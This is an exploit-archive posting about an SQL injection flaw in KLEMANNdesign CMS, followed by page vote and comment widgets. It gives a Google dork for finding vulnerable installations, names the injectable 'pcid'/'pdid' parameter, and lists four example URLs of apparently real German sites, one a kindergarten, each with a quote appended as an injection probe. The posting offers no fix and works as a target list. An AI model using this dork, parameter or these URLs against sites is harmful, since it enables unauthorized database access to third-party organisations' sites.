KLEMANNdesign CMS Sql Injection

2015.11.22

Credit: Jahesh Security Team

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: intext:CMS - KLEMANNdesign.biz & inurl:index.php?

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|--------------------------------------------------------------|
|[+] Exploit Title: KLEMANNdesign CMS Sql Injection
|[+]
|[+] Exploit Author: Jahesh Security Team
|[+]
|[+] Vendor Homepage: http://www.klemanndesign.biz/
|[+]
|[+] Google Dork: intext:CMS - KLEMANNdesign.biz & inurl:index.php?
|[+]
|[+] Date: 22 Nov 2015
|[+]
|--------------------------------------------------------------|
|[+] Examples :
|[+]
|[+] Exploit: index.php?pcid=*
|[+]
|[+] http://www.drk-aa-tXe.de/index.php?pdid=371&#039;
|[+]
|[+] http://www.drk-kinXdergarten-regenbogen.de/index.php?pdid=395&#039;
|[+]
|[+] http://www.severiXn-ense.de/en/index.php?pdid=159&#039;
|[+]
|[+] http://groth-cateXring.de/index.php?pcid=53&#039;
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|[+] Discovered By : Mr.Curse
|[+] Thanks: T!nk3r-Black Diamond-WereWolf98-2Dadash
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

KLEMANNdesign CMS Sql Injection

Dork: intext:CMS - KLEMANNdesign.biz & inurl:index.php?

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.